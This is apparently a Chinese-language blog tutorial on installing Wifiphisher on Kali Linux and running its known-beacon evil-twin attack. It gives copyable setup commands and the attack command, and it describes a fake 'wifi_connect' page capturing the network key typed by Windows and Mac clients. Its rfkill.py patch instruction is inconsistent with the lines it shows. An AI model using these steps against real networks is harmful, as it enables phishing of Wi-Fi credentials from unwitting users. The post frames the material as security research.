使用Wifiphisher安装与执行Wi-Fi攻击的完整指南

本文详细介绍了在Kali Linux上安装Wifiphisher工具并进行无线网络攻击的完整步骤,包括环境配置、命令执行和攻击原理分析,特别探讨了已知信标攻击和客户端自动连接行为的安全风险。

如何安装并使用Wifiphisher执行Wi-Fi攻击

工具安装

以下是在Kali Linux上安装Wifiphisher的可复制操作命令(截至2024年1月22日有效):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
apt-get install -y libnl-3-dev libnl-genl-3-dev libssl-dev python3-virtualenv 
cd /opt/ 
git clone https://github.com/wifiphisher/wifiphisher.git 
cd wifiphisher 
virtualenv -p python3 env 
source env/bin/activate 
python3 -m pip install ConfigParser 
git clone https://github.com/wifiphisher/roguehostapd.git 
cd /opt/wifiphisher/roguehostapd 
python3 setup.py install  
cd /opt/wifiphisher 
python3 -m pip install six 
python3 -m pip install .  
wifiphisher -e CORP-RETAIL -p wifi_connect -kB 
deactivate # 完成后执行

必要修改

在Wifiphisher安装包内的rfkill.py文件中需要进行两处修改,将以下两行的"write"改为"write bytes":

1
2
fout = open(dpath, 'wb') # 第104行
fout = open(dpath, 'wb') # 第135行

攻击原理

Wifiphisher工具包为操作者提供了探测无线网络和客户端的新方法。其中最有趣且潜在效益最大的攻击方式是咖啡店已知信标攻击(-kB攻击),类似于Wi-Fi KARMA攻击。

背景知识

  • 几乎所有操作系统都会自动尝试重新连接到之前使用过的无线网络
  • 这种行为具有潜在的危险性和可 exploitation 性
  • 客户端会通过首选网络列表(PNL)广播发送这些请求

攻击方式对比

  • KARMA攻击:接受客户端广播的首选网络列表(PNL),将其转换为SSID并希望客户端连接
  • -kB攻击:逐个广播一长串常见SSID名称列表(该列表可配置)
  • 无线客户端可能会自动连接到之前连接过的网络

攻击执行

使用以下命令调用Wifiphisher,向任何连接的客户端呈现wifi_connect网络钓鱼模块:

1
wifiphisher -e CORP-RETAIL -p wifi_connect -kB

操作控制台

初始命令会启动操作者控制台,显示:

  • 从零售空间克隆的SSID(CORP-RETAIL),作为开放网络呈现给客户端
  • 攻击者列表中的一些已知网络(SFO FREE WIFI、FREE WIFI、Hotel等)
  • 已建立的客户端连接

当Windows客户端连接后,可以看到该客户端尝试连接到windowsupdate.com和msftconnecttest.com。对文本文件的请求可能是客户端算法的一部分,用于判断是否具有有效且完全建立的互联网连接。

客户端视角

在Windows客户端上,攻击表现为:客户端看到网络钓鱼页面和JavaScript模态对话框,提示输入CORP-RETAIL密钥以完全"连接"作为诱饵。输入的内容随后显示在上方的控制台中。

跨平台测试

在Mac客户端上的测试显示,广播网络略有不同但达到相同效果。客户端被重定向到识别为iOS/MacOS设备用户代理版本的wifi_connect诱饵页面,客户端输入被成功捕获。

参考资料

请注意:这些技术仅用于安全研究和教育目的,请始终将你的能力用于善而非恶。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计